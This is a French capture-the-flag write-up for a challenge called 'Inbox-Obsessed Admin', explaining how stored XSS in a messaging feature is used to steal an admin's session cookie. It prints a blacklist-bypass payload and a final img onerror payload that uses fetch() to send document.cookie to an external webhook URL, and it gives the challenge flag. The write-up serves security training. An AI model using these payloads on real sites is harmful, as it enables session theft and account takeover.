Inbox-Obsessed Admin
đ Introduction
Lâobjectif de ce challenge est de compromettre le compte administrateur en exploitant une faille XSS pour lui voler son cookie de session, permettant ainsi dâobtenir le flag.
đ Solution
La page dâaccueil affiche une interface assez simple, proposant deux fonctionnalitĂ©s principales :
- Boßte de réception
- Envoi de messages
đđ BoĂźte de rĂ©ception
Nous avons la possibilitĂ© dâenvoyer des messages aux utilisateurs nommĂ©s âuserâ et âadminâ.
LâidĂ©e ici est de tenter une injection XSS dans le message pour voler le cookie de session de lâutilisateur qui ouvrira lâe-mail.
đđ Envoyer un message
Pour tester cette hypothĂšse, nous essayons dâabord avec un payload simple :
1
<script>alert("fxoverflow")</script>
Malheureusement, le mot-clé <script>
est bloqué par une blacklist.
Nous devons donc trouver une alternative sans utiliser cette balise.
Nous essayons le payload suivant :
1
<image/src/onerror=prompt(8)>
Celui-ci fonctionne, ce qui confirme que lâapplication est bien vulnĂ©rable Ă une attaque XSS, nous permettant ainsi de capturer le cookie de lâutilisateur qui consulte lâe-mail. Pour valider le fonctionnement, nous envoyons un message contenant cette XSS Ă notre propre utilisateur afin de vĂ©rifier que le cookie est rĂ©cupĂ©rĂ© lors de la consultation du message.
Payload final
Nous utilisons ce payload pour exfiltrer le cookie :
1
2
3
4
5
<img src="q" onerror="fetch('https://webhook-test.com/7136433249cbc8fd15442c54de08e7d6', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
})">
En interceptant la requĂȘte dâenvoi de message avec Burp Suite, nous observons deux paramĂštres dans la requĂȘte POST :
recipient
message
AprĂšs lâenvoi, aucun rĂ©sultat⊠Ce nâest quâaprĂšs quelques minutes de rĂ©flexion que nous rĂ©alisons que le message Ă©tait envoyĂ© Ă lâutilisateur âuserâ, alors que nous sommes lâutilisateur â2â.
Nous modifions donc la valeur du paramĂštre recipient en 2 pour correspondre Ă notre propre compte.
DĂšs lors, en consultant notre boĂźte de rĂ©ception, nous constatons que le message piĂ©gĂ© est bien prĂ©sent et que lâattaque XSS est activĂ©e sans alerte pour lâutilisateur.
En ouvrant lâe-mail, nous capturons le cookie de session de notre utilisateur sur le site :
Pour finaliser lâattaque, il suffit de rĂ©pĂ©ter ce processus pour lâutilisateur admin, en profitant du bot chargĂ© de lire les e-mails du compte administrateur. Cela nous permet de rĂ©cupĂ©rer le cookie administrateur et de nous connecter en tant quâadministrateur.
đ FLAG : PPC2024{4K7Uzpxw8V82Nn}
đ